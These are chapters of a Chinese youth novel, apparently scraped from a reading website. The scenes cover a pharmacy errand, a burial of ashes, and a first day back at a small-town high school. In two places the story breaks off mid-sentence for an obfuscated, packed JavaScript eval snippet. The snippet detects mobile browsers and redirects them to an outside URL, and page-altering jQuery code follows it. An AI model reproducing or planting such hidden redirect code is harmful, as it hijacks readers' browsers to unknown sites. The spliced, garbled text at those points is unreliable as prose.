一副日出的雪山,神圣高洁矗立于蓝天。另一副是日落下碎金海面上一跃而出的海豚,溅起的水花像蓝色钻石。 安城北看得出神。 骆远方看得出来安城北他们其实都不愿意一辈子待在这儿。 只是个人的选择和反抗不同罢了。 此时油花儿忽然一簇眉,僵在原地像是察觉到天人感应,等待天降大任。 再忽然,他把手机塞还骆远方,立马捂着肚子冲了进去,丢下一句。 “江湖救急,看看店!” 吃那么辣,窜稀了吧…… 骆远方觉得自己是闲着没事找事。 这个时间段来逛五元店的人不多。刚过完年,好不容易潇洒一回,家里的囤货还一大堆没消化。 骆远方靠在椅子上,将腿架在柜台边,看着门外的车流出神。 当他数到第二十三个红色轿车经过时,厕所里传来一声哀嚎。 他挣扎了两秒,揉着眉心耐着性子走到厕所边。 “掉坑里了?” “哥。”安城北把门拉开,骆远方下意识皱眉后退一步。 “帮我买个痔疮药行吗?我现在只能夹着屁股做人,动不了了。” “只有你能救我了哥!” 安城北四肢僵硬地越过骆远方,半死不活地躺倒在椅子上,呻.吟着向他伸出一只尔康手,“高~锰~酸~钾~” “你再吃两包泡鸡爪看能不能直接把痔疮拉出来。” 骆远方冷着脸去拿手机。 “不是痔疮!我年纪轻轻你别咒我!” 安城北哀嚎,“就是皮燕子裂了!太久没吃早饭,今天为了早点去找你吃了油饼和油茶。我这体质,一吃早饭就拉肚子,拉得还全他妈是硬通货……” “……闭嘴吧。你还真是林妹妹,早点都能害着你。” 出门之前骆远方犹豫了下,“店里真的没有吗?” 里面传来安城北虚弱的叫喊,“这是五元店,不是药店啊哥!” 过一个红绿灯就是一家名为“良心人大药房”的药店。 但卖的药却死贵。 良心大大的坏。 要不是骆远方不想为了两盒痔疮药纠缠,他能在良心人面前站到打五折。 “要多喝水,吃粗粮,按时涂药不能轻视了哈。” 一头卷发的阿姨一边装袋一边好奇地看他,叮嘱道:“定时拉屎很重要,不要太用力,五分钟以内拉不出……” “谢谢阿姨。” 骆远方都没等发票全部滚出来,拎着袋子就走。 但还是听见了良心阿姨在身后感叹:“年轻人还是要面子,走路一点症状都看不出来呢……” 在回去的路上,骆远方就决定好,一定要把在药店遭受的尴尬和屈辱如数奉还给安城北。 但令人痛心疾首的是,这家伙关于屎尿屁的容忍度远超想象。 安城北一边喝茶一边听他念叨,还时不时认真地点点头,最后就差感激地握他的手: “骆哥,你对我真的太好了!” 骆远方犹豫了下,说:“我出去的事就告诉你了,敢说出去,我当场把你摁地上,麻药都不打,给你做个痔疮手术。” “放心吧哥。” 安城北一脸无辜看着他,“但百度上说我这是肛裂,不是痔疮!” “百度上一般都搜出来的是绝症,看你太笨,度娘都不忍心下杀手。” 骆远方看着抓他的两只爪子。 “要我帮你涂药?” “啊不用不用,你要有事就先走吧,我可以自力更生了!” 安城北触电般缩回爪子。 至此,终于在不要脸较劲中败给了既不要脸也不打算要手的骆远方。 虽然没有真的帮安城北擦屁股,但心理作用下,骆远方总感觉被一股屎臭味萦绕。 路上见了狗屎都躲八竿子远,他觉得自己被这人弄得杯弓蛇影了都。 这个时段刚吃完午饭,大部分人都在家里待着没出门,街上人很少。 街边的草坪因为霜冻呈暗黄色,在阳光下闪烁几颗还未干透的露水,偶有两只通体漆黑的八哥,顶着鼻子上一撮黑毛在草地上寻寻觅觅。 “冷冷清清,凄凄惨惨戚戚。” 江蔚云环顾野山一周,不由地感慨。 “您有闲情雅致背诗,不如过来帮我把你妈给埋了。” 这句话怎么说怎么瘆人,郑策抖了抖鸡皮疙瘩。 她跪在外公外婆的坟前,作了两个揖后,念叨着莫怪莫怪,就在旁边挖了个小洞。 她们当然买不起坟地的铺位,只能让爸妈和外公外婆团聚了。 这里算偏远,城市化进程没开展过来,能住一段时日。 填完土坑,她又垒高了点,接着将买来的黄表纸一点点烧了。 黄表纸烧出来灰烬腾飞,浓烟呛人。 灰扑扑的的蘑菇云里,郑策似乎看见了房间里了无生机的三个人,还有她把江蔚云夹在胳膊下就往外逃的场景。 暗灰色纸屑被风卷起,随着黑烟旋转上升,透过这层烟雾,阳光都暗淡了几分。 一如她整理遗产,变卖房子,打包东西滚蛋那几天。 整个城市都是灰扑扑的,阳光像是假的一样。 “阿嚏。” 她打了个喷嚏,仰着头看着灰蒙蒙的太阳,眼角有些酸。 “慢点走。”她小声说。 这边靠近刚废弃不久的攀长钢厂,以前专用来冶金,如今落败,野猫野狗日夜出没。 在山上能看见厂子里的铁门上还有未完全褪色的对联,写着“吉祥如意百年顺”。 涪江在旁边安静地流过,水面是翡翠绿色,夹杂在青山间,沉默地倒影万物。 回去的路上江蔚云一直在活跃气氛,看见一丛油菜花田就大惊小怪要郑策给她合影留恋,瞅见铁红色攀长钢厂又怕又好好奇地想往里去探险。 她是大城市里养大的,从小没见过这些山山水水。 节假日里,所有人都争抢着去屁股大的一块花田打卡拍照,而这里的人身处万亩油菜花田却心无波澜。 因为这些花在他们眼里,是吃饭的家伙什。 她忽然想到一句话,说旅游就是去别人待腻的地方玩儿。 忽然间,一转头,就看见了一个土著拿着手持DV机,从坡下匆忙往上爬。 这土著还没看腻呢? “哈喽孙悟空。” 骆远方受伤的左爪举着,右手一撑,还算敏捷翻了上来,只是表情略显惊慌。 “怎么回回见你,都抡着金箍棒,大师兄要陪师父去取经?” 骆远方斜背着一个黑色小挎包,藏蓝色冲锋衣拉链拉到领口,在草坪上一杵,有点模特写真的范儿。 “二师兄角度如此刁钻爬上来……” 郑策双手揣裤兜里,走过去往下望了一眼,了然道: “二师兄被哮天犬撵了?背上背的什么呢?” 坡下一只黄狗吐着舌头看向他们,一看就是想交朋友的样子。她挑眉看向骆远方。 “炸药包,去炸碉堡要一起么?” 骆远方心虚地一扭头,将手里的DV放进包里。 郑策立马上上前一拦,“往哪儿看呢?告你侵犯隐私权啊。” 他看啥了?青天大老爷。 这时,草丛里低低传来一个声音,有些难为情。 “小姨妈,给我纸。” 骆远方觉得今天回去一定得拜拜,跨个火盆什么的。 怎么上哪儿都逃不过这味儿。 跟米田共较上劲了是吧。 郑策应了声,拍了拍衣兜,忽然一顿,又全身猛地拍打一遍。 骆远方看笑了,“大妈您这是早起锻炼来了啊?” “……有纸吗?” 郑策闭上眼睛两秒,深呼吸,此时竟然有种自己上厕所借纸的羞耻感。 “今儿要是没遇上我,你们俩就好玩了。” 骆远方丢给她一包纸巾。 虽然米已成粥,但是郑策还想解释一下,“小孩子,憋不住……” 把纸递给江蔚云再回来时,她看见骆远方还在抖,郑策无奈道:“至于嘛,你小时候没拉□□里过?” “没,噗——” 骆远方一开口就破功,捂着嘴索性大笑起来,郑策瞪了他两眼,也跟着小声笑。 “小声点,给她些面子。” 今天来埋骨灰盒,郑策心里像包了一层又一层油纸,闷得慌,此时跟个傻子一样笑人拉屎,竟也出奇的痛快。 但痛快了没两秒,骆远方变脸如翻书,“昨天有人在,我没和你说。” 郑策看着他。 “虽然小镇的人都不像你开口闭口就是法律和权利的,但也不至于拿把刀到处晃悠。这样下去,吸引到不该惹的人的注意力,你就算拿一箱子的刀都无济于事。” 这是在提醒她呢。 郑策沉默了会儿,嗯了一声。 “还有呢。” 骆远方拍拍她肩膀,“我们两家的购房合同虽然有瑕疵,但昨天你也妥协了。我不希望再看到你拿着骨灰盒上门去骚扰我的家人。” 骆远方看着她,话说得很重,但语气不激进,目光沉沉。 原来还是为了这件事,怕她临时反水,想趁早把她这颗炸弹给清除了呗。 难怪每个人一直在劝她能走就走。 郑策哼笑一声,扭过头去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812338|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你笑什么?”骆远方皱眉看着她。 风轻扬起她额前碎发,若隐若现的瞳子望着远山,他看不真切郑策的心情。 “还以为你……” 她轻嘲一声,“算了,和那些人也没什么区别。” 把钱看得比命重的韩忠夏,当扒手能差点闹出凶杀案的小男生,混不出头直接去坑老乡放高利贷的单眼皮,还有把她当成回来抢遗产的骆远方…… 郑策心里像坠了颗铁,直直往下沉。她转身就要走。 手腕却忽然被一股不容推拒的力道拉住。 “大城市回来的,素质也不过如此。” 骆远方看了眼还在努力的江蔚云,出口依旧不客气。 “小镇上的规矩不是单用什么条文和水果刀就能打破的。你也别一副高高在上的模样。” 郑策正要挣脱,他倏地放手,先一步跳下土坡,自嘲道: “我什么样的人你不知道?不是还喜欢过我么?” 喜欢过? 脑子里忽然响起巨大的电流声,掩盖所有的喧嚣和嘈杂。 郑策僵在原地,皱着眉头。 刚才所有的释然和欢快都像是转瞬即逝的错觉。 直到她看见骆远方的背影逐渐缩小为一小块儿,像是纸张上误触的一处墨点。 再一会儿,这墨点也被擦除痕迹,仿佛从没来过。 说实话,遇见骆远方之后,她虽没把他当做救星,但好歹是这座城市难得属于她和过去的联系。还是不那么糟糕那种。 所以她才会在金店前直接说出那些话。 她想试试。 能不能抓住。 幻影在指缝间流走,企图被骆远方轻飘飘一句话打破。她终于不情愿地从自我营造的幻境中脱离出来。 这么多年了,江蔚云都从一团肉变得能跑能跳,什么都该变了。 她曾经是喜欢么? 说重些不过是依赖罢了。 而对象都不是眼前这个轻佻又没礼貌的人。 脚下的攀长钢此时也爬上猩红铁锈,满院都是去年飘落的落叶无人打扫。足够上演一出鬼片。 她想,看见的景色果然是随着心情变化的。 连绵的山都隐退在雾色之后,看不清连接处,越发像一座铁锁的牢笼,禁锢住工厂烟囱里白烟升腾。 江蔚云总算收拾好了过来时,嘴里还是叽叽喳喳不停。 问刚才的人是不是骆远方,说自己脸是不是丢完了,说早上在姨妈家看见那金佛了,但是没告诉他们,是不是很坏。 郑策想起骆远方的揶揄。 -大城市回来的素质也不过如此。 她看了眼江蔚云,又看了眼手里的纸巾,吞吐道:“你……要不要,去捡起来丢垃圾桶?” “小姨妈!我求你,放过我吧。” 江蔚云面露难色,“我还想牵你的手呢。” 我不要面子的嘛! 郑策浑身汗毛都立起来了,不再提。 到了街上,晒太阳的人也慢慢悠悠从房子里晃了出来。 十字路口偶尔会站着几个头戴一言难尽五彩绒毛帽,身穿军绿大衣,裹着白色围巾的人或斜倚在路灯边,或双手揣兜坐在摩托上,只露出一双眼睛观察来人。 每个人身上都挂着一个牌子,上头写着刮大白,配管,水钻电工,乳胶漆,各种技多不压身。 一路上,她继续嗯嗯啊啊应付着江蔚云这个话痨,但脑子里却始终是骆远方这个王八蛋转身前丢下的最后一句话: -我是什么样的人你不知道? -不是还喜欢过我么? 小时候因为俩人名字一样,自然有意无意间会分给对方更多的注意力。 之后一来二去在街上捡了几回受伤的骆远方,两人之间比起别人更多了一些说不上来的亲近。 有人说年少时喜欢一个人,连作业本放在一起,都会感受到心跳加速。 她却只记得骆远方成绩很差。所以自己考得无论多糟糕,看见上面另一个郑策的卷子画着零鸭蛋,自己都会偷偷松一口气。 这个男生也不在意,日子过得比谁都潇洒。 渐渐的,她在他面前没了防备,更确切的说是摘下了伪装——伪装成好孩子的那层面具。 她离开前对他告白,没要一个结果,权当做少女成长的纪念。 而这场心事只有两个人知道。 现在回想起来,那也许算不上喜欢,只是在急流中偶遇到的避风港,更像不流于世俗的依托。 纯粹,不含杂质的依赖和想要靠近。 是他告诉她考差了也没关系,最差就重来一次;挨打了也没关系,等着伤口愈合又是一条好汉;做错事了也没关系,顶多也不会要了他的命…… 但之前那个告诉她什么都没关系的人,现在警告她不要威胁自己的家人,不要试图改变小镇的规矩。 因为陷进来了就逃不出去了。 郑策想起回来第一次遇见骆远方时,他身上凌冽的山林气,还有眉宇间的疤痕和戾气。 他到底经历了什么。 “这个社会的戾气太重,都是被逼出来的!” 安城北躺在椅子上对着电话干嚎。 “说个狗屁的自愿补课,不就是学人高三提前开学嘛!这他妈还听说是何仙姑提议的,因为班里新来的人多,得拉长战线。我谢谢她大舅姥爷!” “什么时候开学?”骆远方问。 “后天啊!”安城北持续哭丧,忽然闭了嘴,激动道: “骆哥,昨天何仙姑来家访,你知道我在她资料册里看见谁了吗?来店里抢劫那个女孩儿!就是她说的Z大退学的学霸!” “嗯。” 骆远方没心情陪他演,毕竟刚对学霸放了一通狠话。 啧。 怎么就没憋住呢? 还想问问她住宿的问题来着。 难道怪别人揶揄你和其他人一样堕落在这里么? 你又有什么优越感? 难道不是么骆远方? 你又能爬的多高,这双脚始终都陷在泥里。 “嗯?” 安城北迟钝了下,对他冷冰冰的态度都习惯了,继续无差别炮击。 “卧槽,这些学霸怎么不去清北班啊,来大火箭下基层么!妈的,班里的打死都不学习的生态看着就要被这些外头回来的牲口给破坏了。” 他忽然换上贱嗖嗖的语气,“若是敌军炮轰我方摆烂阵地,骆哥你是否能挺住不沦陷?” 骆远方冷冷道:“上回何仙姑来家访给我留的作业都还没做。” 因为他为了重新补习之前落下的科目,把高一高二的内容又自学了一遍。 当然没时间。 你骆哥不需要别人潜移默化,已经沦陷啦! 但他不想告诉电话里的大喇叭。 说出去必然被当成月球撞地球的新闻来播报。 “够意思,我寒假作业本都不知道丢哪儿了。” 安城北满意道,“诶,不过班里一直有帮扶机制,一对一凑对儿,我们都固定好了对象……卧槽,你不会是新学霸帮扶的那个吧?!” 骆远方这才回过神来。 我,日。 冤家路窄啊。 “除了这个傻逼帮扶机制,你们不会还保留着传统同桌制吧?”骆远方问。 “那倒没有。” 安城北说,“何仙姑在这方面还挺开明,不仅预防男女之情,还预防男男,女女。” 他笑了声,“哼,我他妈可能看得上班里那群二货么?” ……倒也算是另一种程度上的开明吧。 骆远方提着的心放了回去。 他可不想跟郑策尴尬地大眼瞪小眼。 安城北又忽然说:“但是帮扶机制,就是你们会绑定在一起。” 骆远方刚放下,还没坐稳的心又瞬间悬起。 “……你讲清楚点儿。” 10. 她心情怎么样 具体“绑定”是什么意思,被安城北阐述得意味不明,暧昧不清,若即若离又难舍难分。 骆远方不想和他纠缠,作业是真的还没做。兵来将挡水来土掩吧。 但是他们嘴里的学霸本霸当然也没有被何仙姑放过。 柯言给郑策发了几套针对性基础卷子,让她趁着寒假慢慢重新适应高中生活。 一开学就加上班主任微信,怎么不算幸福呢? 可是高考完一下子松懈的劲儿不是这么容易找回来的。 人人都说自己这辈子知识储备量高峰就在高考那天。6月9号一过,就像一个人度过了人生黄金时期,面部肌肉不再紧绷,开始不受控地松弛下去。 智力也是一个道理。 郑策在大学松弛了半学期,智商松垮度堪比耄耋老人。 还要在这个不到一周的伪寒假做几套试卷,根本不可能。 于是她把电子版打印下来后,开启一顿骚操作。 “小姨妈,你既然要照着抄答案,为什么不在打印的时候一起打出来,还方便些?” 江蔚云没明白她的脑回路,看着郑策黑笔红笔并用,有对有错地描摹试卷,表示不理解。 “我在检验标准答案标不标准,你不懂。” 郑策心虚又一脸正义地把江蔚云探过来的头给摁回去。 “快睡吧,明天我得早起了。” 江蔚云被她油墨味儿的手给挡了回去,又练了会儿字,自己趿拉着拖鞋,翻身滚上床,裹紧被子闭眼前还看了眼奋笔疾书的郑策。 造孽啊…… 她再睁开眼时,还是严阵以待的小姨妈在书桌前欣赏自己的杰作。 一时有些恍惚。 “醒了?我把你秋衣秋裤都放被窝里暖着,现在差不多可以穿了。” 郑策拍了拍手,“我去上学你要听……算了,你是我见过最听话的小孩儿。注意安全,不要乱跑啊!” 江蔚云伸出小手揉了揉眼睛,还十分茫然地嘟着的嘴慢慢张大,打了哈欠。 她小姨妈已经出门了。 路上,墙壁阳面的三角梅开了个早春,烟紫色瀑布挂满白灰院墙,热烈又美艳。 身边人群来来往往,郑策分辨不出谁是九中的学生,只是庆幸似乎没有校服,还能节省不小一笔开支。 报道什么的程序性手续在过年期间,就已经被工作狂柯言给搞定了。她只需要直接去九班上课就好。 一开始身边还有挺多同龄人并肩同行,但越接近校门口,她诡异地发现所有人都在躲着她。 因为柯言介绍了几个打架圣地,她对这里的学生有股莫名的抵触心理。 今天还特意凹成了不好惹的模样,但不过是大部分学生都会干的: 比如不顾家人劝阻老了会出毛病,挽起裤脚,露出抗冻的脚踝;比如给她六个耳洞都带上银色小钉;再比如半阖着眼睛,看谁都一副没睡醒的样子。 没想到效果出奇的好。 直到有个女生为了避让她没注意脚下,差点在开学当天摔个狗吃屎。 郑策才粗神经地反应过来不对劲。 转头一看,一个高大的人影亦步亦趋不知道跟了自己多远的路。 原来她是狐假虎威了啊。 宋乐洋还是警察局初见时的打扮。 深蓝色牛仔裤,黑色棉衣,鸭舌帽压得很低,吊儿郎当的模样跟在她身后。 见她转身,犹豫着晃了晃手里的早餐。 和他这一身痞气格格不入的,郑策在他眼里看见一丝慌乱和讨好。 她走过去。 “你……来干什么的?” 宋乐洋抿着唇将手里豆浆和包子递给她,又在手机上敲敲打打: 第一天开学,看看你。 郑策接过包子,香味儿随着热气扑鼻,是上回那家店。 “谢谢。”她犹豫了下说,“舅,你……是做什么工作的?” 宋乐洋倒是爽快回答: 自由职业,什么都干。 自由职业? 自由打手么? 她又问:“你对我这么好,是因为……我妈吗?” 宋乐洋看着郑策沉默了会儿,点了点头,写道: 不想被特殊对待,就把黑袖带藏好。 你感冒了? “没有,前天去烧纸,灰大,鼻炎有点犯了。” 郑策揉了揉鼻子,“袖带我知道,已经藏好了……” 她离得近了,才看见鸭舌帽下宋乐洋眉骨一上一下两颗闪烁的光点。 难怪都躲着他,带个鸭舌帽也挡不住这blingbling的眉骨钉啊。 “舅,你这儿还……”她指了指自己眉毛。 * “阿西吧!谁英语做完了,江湖救急啊!” 九班教室,人还没到齐,已经哀鸿遍野,死伤惨重。 “卧槽卧槽卧槽卧槽卧槽卧槽卧槽……” 有人在伸长脖子求援,还有人嘴里不停槽,手上笔如飞,快写出残影了都。 “卧槽卧槽卧槽卧槽,写不完了卧槽!” “shit!物理什么时候布置的这本练习册?” 有人心率接近不齐一屁股坐回座位,马上就能横着抬出教室。 “八嘎呀路,我跟这些狗日的小练习册拼了!” 还有人可以出门左拐直接进精神病院。 郑策脚步顿在门口,抬眼看了下班级标牌,确认自己没走到什么留学生的教室。 还是素质不太行那种。 她不由地在心里感慨了下,还真是鱼龙混杂,齐聚各国人才呐。 前天也许在烟尘里泡太久,今天鼻炎来势汹汹,眼睛痒得不行,喷嚏一个接一个,根本控制不住。 于是,她本想悄悄从后门进,却在踏进去的瞬间打了个惊天无敌炸雷闪电霹雳大喷嚏。 整个教室都安静了。 几十双眼睛齐刷刷惊恐地看向她。 她一个喷嚏把时间流动给冻结。 坐在座位上的女生保持着一手拿镜子,一手理刘海的动作,过道上几个模拟投篮的男生双手举起,跟投降一样。 她微笑着向所有目光点点头,这种时候做自我介绍也太傻逼了,她径直走向最后一排靠窗的空座位。 她这种段位,还是等老师来介绍吧。 她座位旁边有个凸出去的小阳台放扫把和拖布,后面就是一个巨大的深蓝色圆柱形垃圾桶。 还挺方便的,方便做卫生。 在郑策走进教室十秒后,教室里窸窸窣窣又响起讨论声,像菜市场一样,吵闹,但一句话也听不清。 有些烦躁,郑策知道这些人正在逼逼自己。 “那个,你这个座位抽屉里有只死老鼠,你要不换旁边去吧?” 前面的女生转头提醒她。 “原本是第一排的桌子,没人敢摸,就直接换了一下。” “谢谢。” 郑策点点头,往四周扫视了一圈。 当然所有人的注意力都还停留在她这儿。 因为鼻炎,她眼睛痒得睁不开,丢过去的眼神像是要屠尽天下不良人的样子。 没人敢说话。 “卧槽。” 她弯腰看了眼抽屉里的尸体。 啧啧啧,死无全尸的小老鼠。 再起身,所有人都把眼睛瞪大两倍看着她。 跟集体去技术不太行的美容院剌了两刀似的。 郑策怀疑自己不是爆了句粗口,而是不小心说了句我要果奔啊直播吃屎啊之类丧尽天良的话。 “怎么了?” 她问前面的女孩。 也许这个班有什么毛病? 前排的女孩儿耸耸肩,“一群康熙时期的古董呆子,没见过女孩儿爆粗口呗。” 郑策对她笑了笑,又道谢: “谢谢啊。” 她把书包放座位上,出了教室。 甚至能感受到在她还没走远的时候,教室里忽然爆发的一阵骚动。 新学期,开学情况还不错。 除了被当成猴看之外。 “林歌,你胆子不小啊,她眉毛上,耳朵上都是钉子的,一看不是个好相处的。” 刚提醒郑策的女孩的前桌转过来凑热闹。 “寒假的时候何仙姑说了一嘴有新同学,没想到这个样子也能进大火箭。” “大火箭是什么样子的人上的?” 林歌将自己桌上的海报一张张捋好,不在意地问。 但她还没说完,教室里气氛又默契地紧张起来。 郑策应该从保洁阿姨那儿借了手套和消毒液,拿着一巨型黑色塑料袋回来。 套着手套伸进抽屉里,将耗子包出来直接丢进垃圾桶,再面无表情一阵喷洒,打包垃圾袋。 全程无视旁边的眼神。 收拾干净刚坐下来,前排女孩儿又转过身来,笑眯眯对她说:“我叫林歌,谢谢你之前晚上帮我赶走混混,没想到我们是同学诶!” “郑策。” 郑策一看见她就想起来了自己被带去警察局那晚。林歌长得很漂亮,空气刘海丸子头,见一次就很难忘那种。 “新来的复读生。” 林歌依旧是甜甜地朝她笑道:“你要是有什么问题,随时戳我就行。” “现在就有个问题。”郑策看了眼四周喧闹的人群。 “不是提前开学么?怎么他们跟中了八百万奖一样?” “嗐,今年一直传言大年初三就要上学,能挨到现在,捡便宜了嘛不是!” 林歌一本正经说,“高三的都上了两周的课了已经,我们知足常乐。” 这他妈是被洗脑成功了吧…… 哪里有便宜? 你们的燃点在哪里? “这一路我没看见高三的呢?” 郑策憋着这个问题很久了,高三年级诡异得像是蒸发了一样。 林歌神秘兮兮地朝上指了指,“高三在山上……我们以后也要……两耳不闻……事一心……圣贤书。就在宿舍区往里走,有座旱桥,过了桥……山上……高三校区。” 林歌这一句话的功夫,学校旁边比邻而建的铁道上飞驰而过两辆动车,天上低空飞行过一架飞机。 那效果绝了。 震耳欲聋。 林歌见她一脸茫然,笑了笑,“老师们也经常骂学校的地理位置,挨着铁路,又在机场起飞降落的航线上,习惯就好了。” 这真要习惯,得失聪吧? 郑策叹了口气趴在桌上。 教室里的窗帘是天蓝色,开着窗户,风吹帘动,阳光顺着缝隙铺在桌面上。鼻尖是粉笔和洗衣粉的味道,还有谁在偷偷吃辣条。 她侧过头看了眼踩着桌凳打扫卫生的人,吵闹着抢作业本抄答案的人,还有靠近走廊窗户偷玩手机的人。 才一时恍惚。 高中生涯又开始了。 熟悉的紧张的又喧闹的青春。 这个年纪的学生喜欢穿帆布鞋,挽起裤脚露出脚腕,男生张口就给人当爹,女生对着镜子防止脖子前倾挤出双下巴来端详。 一切年轻又喧闹,同时傻逼且纯澈。 只是靠走廊窗边玩手机的男生有些一言难尽的蠢。 郑策认出他的时候,瞬间就闭上眼睛缓了三秒。 她“抢劫”那家小卖部的傻儿子。 傻儿子玩手机掩饰技术很高超,耳机线从袖子里穿过,一手假装扶额遮住耳朵。 一脸淡漠,但手上动作十分激.情。 身边还有几个或站或半跪在椅子上目不转睛看着的亲友团。 “点这儿点这儿!” 安城北扭了下肩膀:“别碰我!” “碰你咋了,你是gay吗?碰你一下就要嫁给我?” 虽然班内吵闹,但这劲爆且可以无限起哄的话题还是让全班停下手里的动作一秒,朝他们这边“哇哦”了声。 “哇什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812339|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么呢,hellogays,作业做完没有啊?” 前门忽然探进一个农村包围城市发型的小老头。 他本意是打声招呼,结果这应景的一句神回复,让全班愣是笑了三分钟没收住。 沙老师跟着笑了下,以为自己受欢迎程度如此高,心满意足地离开了。 “傻小子们,记得教英语作业啊!” “滚呐,要看就看,别瞎逼逼。” 安城北动作熟练地把手机从抽屉里拿出来,继续激.情操作。 情到深处还低低哀嚎:“操啊,这傻逼在干什么!” “淦,对方是偷玩账号的幼儿园小朋友吧!” 几个人玩得正陶醉,丝毫没有注意到窗外弯腰负手津津有味看着他打游戏的男老师。 同样一脸人赃并获的激动。 “我们班已经比其他班落后了!还在玩游戏呢!” 老师忽然一声吼。 声如洪钟,气贯长虹,伴随着铃声的响起,整个九班地板都抖了三抖。 安城北手一抖,手机掉在地上,他却不敢捡。 这才刚开学,落得哪门子的后啊! 但被洗脑的群众们已经被震慑住了。 而最靠近他的安城北双眼一瞪,僵了两秒,一动不动。 “明目张胆就在窗户下面玩,当过路的老师都是瞎的吗?” “吴老师。柯老师还没来,手机还没收。” 安城北双眼瞪得饱含泪水,仰头望过去,声泪俱下。 “快收起来滚回你座位,遇见巡楼的领导,扣分表上一划,你们柯老师这个月的工资又要少五十。” “保证完成任务!” 安城北麻利地一收耳机线,正要往郑策这边走过来,门口一晃而过一个人影。 他凭借自己狗鼻子一样的雷达,脚尖一转,跟了出去。 “物理课代表,把作业收一下,第二节课下课抱过来。” 这位吴老师虽然裹了层棉衣,但麦色皮肤和他这嗓门,给人一看就不是好惹的。 这边安城北溜进楼道,没看到人影,靠在栏杆上给骆远方发了条消息。 城北徐公:【到了没,爹爹来接你啦!】 过了两秒,骆远方的名字由对方正在输入,变成对方正在说话。 他火速撤回消息,重新编辑: 【到了没,儿子来接你啦!】 那个农民:【楼下。】 城北徐公:【来啦~~】 骆远方皱眉看着这两根妖娆的波浪线,想起猪八戒撞天婚的情节,几个仙女儿一声声的“来啦~~”。 不由得抖了抖鸡皮疙瘩。 虽然早有心理准备要和郑策遇见,虽然本来要问人愿不愿意来自己家里住,但他前天在山上没过脑子的警告,还是让自己很头疼。 永远年轻,永远冲动,永远给自己刨坑。 骆远方靠在墙边,感觉自己像个瘟鸡,见不得人的样子。 “骆哥,怎么不上去?” 安城北立在一楼楼梯上看他。 “哎我给你说,那个抢劫我的女生就在咱班呢,是个狠人,徒手拿耗子!我真是开了眼了!” “你骂她是狗?”骆远方觑了他一眼。 “不是。” 安城北兴奋劲儿还没过,直接无视他的冷脸,“就是字面意思,她刚徒手拿了死耗子。” “哦。” 骆远方对这不关心,试探着问了句:“她……看起来心情怎么样?” 是好是坏,先让他这个未来伪同桌做个心理准备。 安城北:“嗯?” 骆远方一字一顿:“我问你,她看起来高兴还是不高兴啊文盲。” “她看起来像是来挑事的,一副要吃人的样子。” 安城北顿了顿,忽然癫痫犯了一样拉住骆远方胳膊, “不是吧……骆哥,你怕她?” * “胆子肥了是吧,整栋楼,就你们班最吵!” 柯言虽晚但到,皱着眉站在讲台上一脸不爽环顾四周。 “谁在教室吃鸡蛋了,哎哟臭死了,靠窗的同学把窗户打开!” 郑策刚听见铃声后坐得笔直,结果被告知是预备铃,趴下来没一会儿,又被柯言这嗓子给吼得差点蹦起来敬礼。 心脏愣是被她给从嗓子眼儿给咽了回去。 但再抬头看见柯言的时候,她怀疑自己老花了。 寒假遇见的柯言不说多么时尚,起码保持着年轻人的爽朗和干练。 而这会儿站讲台上的女人,戴一副酒红方框窄框眼镜,黑色皮鞋搭配尼龙肉色隐形袜,两手往兜一揣,谁都不爱。 郑策闭上眼睛,晃了晃头,再睁开。 还是这么个玩意儿顶着柯言的脸站在讲台上。 紧接着,这个玩意儿吹了吹小蜜蜂话筒。 “呼。提前说一下啊,这学期班里要来两位复读生,你们对人家友好点。” “特别是新来的女孩儿,人去年物理竞赛全省第一,半条腿儿都迈进Z大门槛了,愣是不服气,要回来冲刺更高学府,冲这心气,你们就得向人学习……” 郑策面无表情:您要不环顾一下当事人在不在场,再考虑要不要撒这个谎呢? 柯言此时才用她老鹰一样犀利的眼神,从方框眼镜下挨个扫视。 终于。 目光落在最后一排的郑策身上。 “呼。” 她又重新打开小蜜蜂,吹了下。 下巴朝郑策抬了抬。 “最后排那个社会人士找谁啊?帽子摘下来!就你,眉骨钉,耳骨钉一个不落那位!” 全班默契地侧让身子,在柯言和政策之间留下视线通道,起哄道: “全省第一啊!” 郑策单手扶额,垂着头。躲无处躲。她在想自己旁边这位怎么还没来!起码能分担一半的火力。 现在把眉骨上粘的两个钉子扣下来,还来得及么? 11. 为什么对她这么好? “郑……郑策?” 柯言的声音有些拐弯儿,对第一回见着是文静朴素小姑娘,第二回再见成了精神小妹的她,有些难以置信。 “老师好,我成绩没您说的那么好,还是实事求是的好。” 郑策坐在座位上,向她点点头。 “行吧,你既然已经到了,上来自我介绍一下吧。” 柯言让到讲台左侧,刚才所有声嘶力竭的人现在都乖巧地坐在座位上,等着看她。 逃不过的,眼睛一闭一睁就过去了。 郑策起身,她才忽然楞了下。 这教室可谓没有同桌胜似有同桌,四面八方的距离都差不多近。 过道里全堆着一摞摞的练习册和教材,简直无从下脚。 从最后一排到第一排的距离,郑策像是打地道战一样,同时防备着碰倒每个人桌上摇摇欲坠的书堡,走得十分艰难。 黑板有四块,中间两块可以拉开,里面是个电子屏。郑策总算穿越火线拿了粉笔在最右边写上自己大名。 此时,教室外面一声巨喝:“oi!哪个班的还在楼梯上晃!扣你们班主任的工资!” 骆远方和安城北正要上楼,就被无处不在的教导主任逮了个正着。 主任还在教学楼外,一手叉腰,一手指着他们的方向,眼神坚定地企图将他们钉在原地。 但是没用。 两人拔腿就跑。 “报告!” 